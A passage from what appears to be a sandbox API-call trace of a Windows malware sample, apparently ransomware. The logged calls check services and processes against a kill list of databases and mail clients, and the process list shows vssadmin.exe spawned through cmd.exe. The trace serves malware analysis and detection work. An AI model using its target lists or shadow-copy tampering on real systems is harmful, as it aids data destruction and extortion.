returned -1 [0224.968] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0224.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0224.968] lstrlenW (lpString="SysMain") returned 7 [0224.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0224.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0224.968] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0224.968] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0224.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0224.968] lstrlenW (lpString="Themes") returned 6 [0224.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0224.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0224.968] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0224.968] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0224.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0224.968] lstrlenW (lpString="TrkWks") returned 6 [0224.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0224.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0224.968] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0224.968] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0224.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0224.968] lstrlenW (lpString="UxSms") returned 5 [0224.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0224.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0224.968] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0224.968] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0224.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0224.968] lstrlenW (lpString="VSS") returned 3 [0224.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0224.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0224.968] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0224.968] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0224.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0224.969] lstrlenW (lpString="WdiServiceHost") returned 14 [0224.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0224.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0224.969] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0224.969] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0224.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0224.969] lstrlenW (lpString="WdiSystemHost") returned 13 [0224.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0224.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0224.969] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0224.969] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0224.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0224.969] lstrlenW (lpString="WinDefend") returned 9 [0224.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0224.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0224.969] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0224.969] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0224.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0224.969] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0224.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0224.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0224.969] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0224.969] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0224.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0224.969] lstrlenW (lpString="Winmgmt") returned 7 [0224.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0224.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0224.969] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0224.969] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0224.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0224.969] lstrlenW (lpString="wscsvc") returned 6 [0224.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0224.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0224.969] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0224.969] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0224.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0224.969] lstrlenW (lpString="wuauserv") returned 8 [0224.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0224.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0224.969] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0224.969] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0224.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0224.969] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f0 [0224.972] Process32FirstW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.973] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0224.974] lstrlenW (lpString="System") returned 6 [0224.974] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0224.974] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0224.974] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0224.974] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0224.974] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0224.980] lstrlenW (lpString="smss.exe") returned 8 [0224.980] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0224.981] lstrlenW (lpString="csrss.exe") returned 9 [0224.981] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0224.982] lstrlenW (lpString="wininit.exe") returned 11 [0224.982] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0224.982] lstrlenW (lpString="csrss.exe") returned 9 [0224.982] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0225.017] lstrlenW (lpString="winlogon.exe") returned 12 [0225.017] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0225.037] lstrlenW (lpString="services.exe") returned 12 [0225.037] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0225.038] lstrlenW (lpString="lsass.exe") returned 9 [0225.038] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0225.067] lstrlenW (lpString="lsm.exe") returned 7 [0225.067] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.068] lstrlenW (lpString="svchost.exe") returned 11 [0225.068] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.068] lstrlenW (lpString="svchost.exe") returned 11 [0225.068] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.069] lstrlenW (lpString="svchost.exe") returned 11 [0225.069] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.108] lstrlenW (lpString="svchost.exe") returned 11 [0225.108] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.109] lstrlenW (lpString="svchost.exe") returned 11 [0225.109] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0225.110] lstrlenW (lpString="audiodg.exe") returned 11 [0225.110] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.128] lstrlenW (lpString="svchost.exe") returned 11 [0225.129] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.129] lstrlenW (lpString="svchost.exe") returned 11 [0225.129] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0225.130] lstrlenW (lpString="dwm.exe") returned 7 [0225.130] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x44c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0225.130] lstrlenW (lpString="explorer.exe") returned 12 [0225.130] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0225.131] lstrlenW (lpString="spoolsv.exe") returned 11 [0225.131] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0225.132] lstrlenW (lpString="taskhost.exe") returned 12 [0225.132] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.132] lstrlenW (lpString="svchost.exe") returned 11 [0225.132] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x350, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0225.133] lstrlenW (lpString="taskeng.exe") returned 11 [0225.133] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="innovative sapphire.exe")) returned 1 [0225.137] lstrlenW (lpString="innovative sapphire.exe") returned 23 [0225.138] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nova.exe")) returned 1 [0225.143] lstrlenW (lpString="nova.exe") returned 8 [0225.143] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="attitude discussions wives.exe")) returned 1 [0225.143] lstrlenW (lpString="attitude discussions wives.exe") returned 30 [0225.143] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrate term dressing.exe")) returned 1 [0225.144] lstrlenW (lpString="demonstrate term dressing.exe") returned 29 [0225.144] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="picks blair.exe")) returned 1 [0225.160] lstrlenW (lpString="picks blair.exe") returned 15 [0225.162] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="posted_boating_anthony.exe")) returned 1 [0225.163] lstrlenW (lpString="posted_boating_anthony.exe") returned 26 [0225.163] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="principal.exe")) returned 1 [0225.166] lstrlenW (lpString="principal.exe") returned 13 [0225.168] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation.exe")) returned 1 [0225.169] lstrlenW (lpString="transportation.exe") returned 18 [0225.169] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bind-representation-scared.exe")) returned 1 [0225.171] lstrlenW (lpString="bind-representation-scared.exe") returned 30 [0225.171] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="supplements-reynolds.exe")) returned 1 [0225.171] lstrlenW (lpString="supplements-reynolds.exe") returned 24 [0225.172] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="planned.exe")) returned 1 [0225.172] lstrlenW (lpString="planned.exe") returned 11 [0225.172] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="springer andrew.exe")) returned 1 [0225.173] lstrlenW (lpString="springer andrew.exe") returned 19 [0225.173] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cakes import.exe")) returned 1 [0225.336] lstrlenW (lpString="cakes import.exe") returned 16 [0225.336] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="theory.exe")) returned 1 [0225.337] lstrlenW (lpString="theory.exe") returned 10 [0225.337] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="linuxsouthantiques.exe")) returned 1 [0225.338] lstrlenW (lpString="linuxsouthantiques.exe") returned 22 [0225.338] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="saturn acknowledge rover.exe")) returned 1 [0225.339] lstrlenW (lpString="saturn acknowledge rover.exe") returned 28 [0225.339] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="tuition-flour-challenges.exe")) returned 1 [0225.339] lstrlenW (lpString="tuition-flour-challenges.exe") returned 28 [0225.339] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="raises_softball_tramadol.exe")) returned 1 [0225.340] lstrlenW (lpString="raises_softball_tramadol.exe") returned 28 [0225.340] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="indicescancellation.exe")) returned 1 [0225.341] lstrlenW (lpString="indicescancellation.exe") returned 23 [0225.341] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="keeping-guys-essence.exe")) returned 1 [0225.341] lstrlenW (lpString="keeping-guys-essence.exe") returned 24 [0225.341] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="desk.exe")) returned 1 [0225.342] lstrlenW (lpString="desk.exe") returned 8 [0225.342] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.343] lstrlenW (lpString="svchost.exe") returned 11 [0225.343] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0225.344] lstrlenW (lpString="sppsvc.exe") returned 10 [0225.344] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.344] lstrlenW (lpString="svchost.exe") returned 11 [0225.344] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0225.345] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0225.345] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x960, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0225.346] lstrlenW (lpString="winhost.exe") returned 11 [0225.346] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x67c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0225.346] lstrlenW (lpString="cmd.exe") returned 7 [0225.346] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0225.347] lstrlenW (lpString="conhost.exe") returned 11 [0225.347] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x124, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0225.348] lstrlenW (lpString="vssadmin.exe") returned 12 [0225.348] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0225.348] lstrlenW (lpString="VSSVC.exe") returned 9 [0225.348] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: 